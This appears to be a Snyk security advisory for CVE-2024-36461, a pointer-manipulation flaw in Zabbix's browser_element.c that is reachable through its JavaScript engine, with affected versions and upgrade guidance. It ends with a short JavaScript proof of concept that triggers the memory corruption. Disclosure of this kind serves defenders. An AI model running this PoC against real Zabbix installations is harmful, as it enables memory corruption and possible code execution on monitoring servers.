Uncontrolled Modification of Pointer Value Affecting zabbix/zabbix package, versions [,6.0.31rc1) [6.4.0,6.4.16rc1) [7.0.0alpha1,7.0.1rc1)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (11th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-UNMANAGED-ZABBIXZABBIX-7660064
- published 9 Aug 2024
- disclosed 9 Aug 2024
- credit Pavel Voit
Introduced: 9 Aug 2024
CVE-2024-36461 Open this link in a new tabHow to fix?
Upgrade zabbix/zabbix to version 6.0.31rc1, 6.4.16rc1, 7.0.1rc1 or higher.
Overview
Affected versions of this package are vulnerable to Uncontrolled Modification of Pointer Value in the wd_element() function in browser_element.c. An attacker can manipulate memory pointers to corrupt memory contents via the JavaScript engine.
PoC
var browser = new Browser(Browser.chromeOptions());
var bypass = {};
bypass[atob('//9k')] = 'Memory location of this buffer will be used as zbx_wd_element_t';
bypass.navigate = browser.navigate;
bypass.navigate('remote code execution');